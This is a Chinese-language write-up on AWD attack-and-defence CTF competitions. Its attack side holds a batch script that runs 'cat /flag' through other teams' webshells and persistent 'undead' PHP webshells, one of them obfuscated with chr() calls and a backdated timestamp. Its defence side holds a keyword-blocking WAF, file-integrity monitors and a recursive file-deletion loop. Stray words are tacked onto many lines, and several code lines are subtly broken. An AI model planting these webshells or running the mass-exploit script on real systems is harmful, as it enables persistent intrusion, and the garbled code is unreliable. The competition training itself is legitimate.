今年參加了三起CTF比賽,屬於初學者,基本除了web其餘的不會,但分賽場AWD相對就沒什麼難度,基本都是技巧性。其中一場進入複賽了,本月底再次比賽(ctf題作的這麼渣還能進也是絕了~),參照前人經驗補充了一些總結下。php
1、AWD介紹
AWD:Attack With Defence,即攻防對抗,比賽中每一個隊伍維護多臺服務器(通常兩三臺,視小組參賽人數而定),服務器中存在多個漏洞(web層、系統層、中間件層等),利用漏洞攻擊其餘隊伍能夠進行得分,加固時間段可自行發現漏洞對服務器進行加固,避免被其餘隊伍攻擊失分。html
<!--more-->python
- 1.通常分配Web服務器,服務器(多數爲Linux)某處存在flag(通常在根目錄下);
- 2.可能會提供一臺流量分析虛擬機,能夠下載流量文件進行數據分析(較少提供);
- 3.flag在主辦方的設定下每隔必定時間刷新一輪;
- 4.各隊通常都有一個初始分數;
- 5.flag一旦被其餘隊伍拿走,該隊扣除必定積分;
- 6.獲得flag的隊伍加分;
- 7.通常每一個隊伍會給一個低權限用戶,非root權限;
- 8.主辦方會對每一個隊伍的服務進行check,服務器宕機扣除本輪flag分數,扣除的分值由服務check正常的隊伍均分。
2、比賽分工
- 線下賽通常3人,2人攻1人守,在此狀況下攻擊比防守得分來的快;
- 也可一人維護一臺靶機,同時進行攻防。
比賽靶機通常都在同一個B段,可提早掃描目標網段中存活靶機,方便實施攻擊。 如使用 御劍高速TCP全端口掃描工具、httpscan,只須要掃描 80 端口就行(通常web爲80端口,特殊狀況自行設置)。linux
3、套路
一、備份
比賽開始第一時間備份,備份網站目錄及數據庫,通常在 /var/www/html
目錄。web
一是爲了dump下來,用D盾查殺存在的後門; 二是爲了比賽出現異常或惡意破壞進行還原,避免靶機宕機被扣分; 三要審計下有沒有高危命令執行函數,進行後期加固,以及有空餘時間或專門安排一我的審計下基礎漏洞用來作攻擊。 命令執行函數
exec()
、passthru()
、system()
、shell_exec()
、popen()
等;代碼執行函數:eval()
、assert()
、preg_repace()
、uasort()
等;文件包含函數include()
、require()
等,用正則匹配grep -r "@eval" /www/
,找到後註釋掉。sql
二、弱口令
大多數狀況下,全部隊伍的Web後臺、phpmyadmin等服務的管理密碼都同樣,立馬快速檢查修改本身密碼,並利用此進行攻擊。通常默認密碼爲 admin/admin, admin/123456, test/test
,若是被其餘隊伍改了那就gg了。shell
三、後門
如上所說,對備份web目錄進行後門查殺。 數據庫
查殺到後門文件後,查看後門路徑及密碼,直接經過菜刀鏈接。數組
腳本獲取webshell並快速提交 爲了速度,能夠經過腳本進行批量獲取webshell,腳本快速提交,代碼以下:bash
#!/usr/bin/env python #coding=utf-8 import request url="http://192.168.71." url1="" path="/upload/index.php" passwd="test" port="80" payload={passwd: 'system(\'cat /flag\');'} f=open("webshell_list.txt", "w") f1=open("flag_list.txt". "w") for i in [1, 3, 5, 7, 9, 11, 13, 15]: url1=url+str(i)+":"+port+path try: res=request.post(url1, payload, timeout=2) if res.status_code == request.codes.ok: print url1+" connect shell success, flag is "+res.text print >> f1, url1+" connect shell success, flag is "+res.text print >> f, url1+", "+passwd else: print "shell not find." except: print url1+" connect shell fail" f.close() f1.close()
配置其餘隊伍地址、shell路徑和密碼,就能夠進行攻擊,flag記錄在 flag_list.txt文件中。
四、監測攻擊payload
tail -f *.log
,看日誌,不言而喻,抓他們的payload並利用。
五、漏洞
常見的漏洞包括SQL注入、文件包含、文件上傳、命令執行等。
(1)sql注入漏洞
比賽通常沒有防禦(除非選手安裝了防護腳本),可直接經過 --sql-shell
執行 select load_file(‘/flag’);
獲得flag,也能夠利用 into outfile
寫木馬維持權限。
(2)本地文件包含或目錄遍歷
直接經過 ../../../../../flag
獲取。
六、權限維持
(1)不死馬
直接linux執行:
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
或 bs1.php 訪問後同目錄持續生成 .test.php
文件
<?php set_time_limit(0); //程序執行時間 ignore_user_abort(1); //關掉終端後腳本仍然運行 unlink(__FILE__); //文件完整名 while(1) { file_put_contents('.test.php','<?php $a=array($_REQUEST["x"]=>"3"); // pwd=x $b=array_keys($a)[0]; eval($b);?>'); sleep(5); } ?>
bs2.php 訪問後同目錄持續生成 .config.php
文件
<?php set_time_limit(0); ignore_user_abort(1); unlink(_FILE); while(1){ file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>'); system('chmod777.config.php'); touch("./.config.php",mktime(20,15,1,11,28,2016)); // pwd=1 usleep(100); } ?>
七、防護手段
(1)waf
<?php //error_reporting(E_ALL); //ini_set('display_errors', 1); /* 檢測請求方式,除了get和post以外攔截下來並寫日誌。 */ if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') { write_attack_log("method"); } $url = $_SERVER['REQUEST_URI']; //獲取uri來進行檢測 $data = file_get_contents('php://input'); //獲取post的data,不管是不是mutipa rt $headers = get_all_headers(); //獲取header filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); // 對URL進行檢測,出現問題則攔截並記錄filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data)))); //對POST的內容進行檢測,出現問題攔截並記錄 /* 檢測過了則對輸入進行簡單過濾 */ foreach ($_GET as $key => $value) { $_GET[$key] = filter_dangerous_words($value); } foreach ($_POST as $key => $value) { $_POST[$key] = filter_dangerous_words($value); } foreach ($headers as $key => $value) { filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //對http請求頭進行檢測,出現問題攔截並記錄 $_SERVER[$key] = filter_dangerous_words($value); //簡單過濾 } /* 獲取http請求頭並寫入數組 */ function get_all_headers() { $headers = array(); foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $headers[$key] = $value; } } return $headers; } /* 檢測不可見字符形成的截斷和繞過效果,注意網站請求帶中文須要簡單修改 */ function filter_invisible($str) { for ($i = 0; $i < strlen($str); $i++) { $ascii = ord($str[$i]); if ($ascii > 126 || $ascii < 32) { //有中文這裏要修改 if (!in_array($ascii, array( 9, 10, 13 ))) { write_attack_log("interrupt"); } else { $str = str_replace($ascii, " ", $str); } } } $str = str_replace(array( "`", "|", ";", "," ) , " ", $str); return $str; } /* 檢測網站程序存在二次編碼繞過漏洞形成的%25繞過,此處是循環將%25替換成%,直至不存在%25 */ function filter_0x25($str) { if (strpos($str, "%25") !== false) { $str = str_replace("%25", "%", $str); return filter_0x25($str); } else { return $str; } } /* 攻擊關鍵字檢測,此處因爲以前將特殊字符替換成空格,即便存在繞過特性也繞不過正則的\b */ function filter_attack_keyword($str) { if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b |outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m ultipoint\(/i", $str)) { write_attack_log("sqli"); } if (substr_count($str, $_SERVER['PHP_SELF']) < 2) { $tmp = str_replace($_SERVER['PHP_SELF'], "", $str); if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) { write_attack_log("LFI/LFR");; } } else { write_attack_log("LFI/LFR"); } if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) { write_attack_log("EXEC"); } if (preg_match("/flag/i", $str)) { write_attack_log("GETFLAG"); } } /* 簡單將易出現問題的字符替換成中文 */ function filter_dangerous_words($str) { $str = str_replace("'", "‘", $str); $str = str_replace("\"", "「", $str); $str = str_replace("<", "《", $str); $str = str_replace(">", "》", $str); return $str; } /* 獲取http的請求包,意義在於獲取別人的攻擊payload */ function get_http_raw() { $raw = ''; $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n"; foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) === 'HTTP_') { $key = substr($key, 5); $key = str_replace('_', '-', $key); $raw.= $key . ': ' . $value . "\r\n"; } } $raw.= "\r\n"; $raw.= file_get_contents('php://input'); return $raw; } /* 這裏攔截並記錄攻擊payload */ function write_attack_log($alert) { date_default_timezone_set("Asia/Shanghai"); $data = date("Y/m/d H:i:s") . " -- [" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n"; $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日誌路徑 fwrite($ffff, $data); fclose($ffff); if ($alert == 'GETFLAG') { header("location:http://172.16.9.2/"); } else { sleep(15); //攔截前延時15秒 } exit(0); } ?>
(2)Shell監控新增文件
建立文件的時候更改文件建立時間熟悉可能監測不到。
#!/bin/bash while true do find /var/www/dvwa/ -cmin -60 -type f | xargs rm -rf sleep 1 done
循環監聽一小時之內更改過的文件或新增的文件,進行刪除。
(3)Python監測新增文件
放在 /var/www/
或 /var/www/html
下執行這個腳本,它會先備份固然目錄下的全部文件,而後監控當前目錄,一旦當前目錄下的某個文件發生變動,就會自動還原,有新的文件產生就會自動刪除。
# -*- coding: utf-8 -*- #use: python file_check.py ./ import os import hashlib import shutil import ntpath import time CWD = os.getcwd() FILE_MD5_DICT = {} # 文件MD5字典 ORIGIN_FILE_LIST = [] # 特殊文件路徑字符串 Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' Special_string = 'drops_log' # 免死金牌 UNICODE_ENCODING = "utf-8" INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" # 文件路徑字典 spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = { 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), } def isListLike(value): return isinstance(value, (list, tuple, set)) # 獲取Unicode編碼 def getUnicode(value, encoding=None, noneToNull=False): if noneToNull and value is None: return NULL if isListLike(value): value = list(getUnicode(_, encoding, noneToNull) for _ in value) return value if isinstance(value, unicode): return value elif isinstance(value, basestring): while True: try: return unicode(value, encoding or UNICODE_ENCODING) except UnicodeDecodeError, ex: try: return unicode(value, UNICODE_ENCODING) except: value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) except UnicodeDecodeError: return unicode(str(value), errors="ignore") # 目錄建立 def mkdir_p(path): import errno try: os.makedirs(path) except OSError as exc: if exc.errno == errno.EEXIST and os.path.isdir(path): pass else: raise # 獲取當前全部文件路徑 def getfilelist(cwd): filelist = [] for root,subdirs, files in os.walk(cwd): for filepath in files: originalfile = os.path.join(root, filepath) if Special_path_str not in originalfile: filelist.append(originalfile) return filelist # 計算機文件MD5值 def calcMD5(filepath): try: with open(filepath,'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() return hash except Exception, e: print u'[!] getmd5_error : ' + getUnicode(filepath) print getUnicode(e) try: ORIGIN_FILE_LIST.remove(filepath) FILE_MD5_DICT.pop(filepath, None) except KeyError, e: pass # 獲取全部文件MD5 def getfilemd5dict(filelist = []): filemd5dict = {} for ori_file in filelist: if Special_path_str not in ori_file: md5 = calcMD5(os.path.realpath(ori_file)) if md5: filemd5dict[ori_file] = md5 return filemd5dict # 備份全部文件 def backup_file(filelist=[]): # if len(os.listdir(Special_path['bak'])) == 0: for filepath in filelist: if Special_path_str not in filepath: shutil.copy2(filepath, Special_path['bak']) if __name__ == '__main__': print u'---------start------------' for value in Special_path: mkdir_p(Special_path[value]) # 獲取全部文件路徑,並獲取全部文件的MD5,同時備份全部文件 ORIGIN_FILE_LIST = getfilelist(CWD) FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) backup_file(ORIGIN_FILE_LIST) # TODO 備份文件可能會產生重名BUG print u'[*] pre work end!' while True: file_list = getfilelist(CWD) # 移除新上傳文件 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) if len(diff_file_list) != 0: # import pdb;pdb.set_trace() for filepath in diff_file_list: try: f = open(filepath, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] webshell find : ' + getUnicode(filepath) shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : file move error: ' + getUnicode(e) # 防止任意文件被修改,還原被修改文件 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) for filekey in md5_dict: if md5_dict[filekey] != FILE_MD5_DICT[filekey]: try: f = open(filekey, 'r').read() except Exception, e: break if Special_string not in f: try: print u'[*] file had be change : ' + getUnicode(filekey) shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) except Exception as e: print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) try: f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n') f.close() except Exception as e: print u'[-] log error : done_diff: ' + getUnicode(filekey) pass time.sleep(2) # print '[*] ' + getUnicode(time.ctime())
(4)修改curl
獲取flag通常都是經過執行 curl http://xxx.com/flag.txt
更改其別名,使其沒法獲取flag內容:
alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用別名, chmod -x curl 降權,取消執行權限
(5)剋制不死馬、內存馬
使用條件競爭的方式,不斷循環建立和不死馬同名的文件和文件夾,在這次比賽中使用此方式剋制 了不死馬。
#!/bin/bash dire="/var/www/html/.base.php/" file="/var/www/html/.base.php" rm -rf $file mkdir $dire ./xx.sh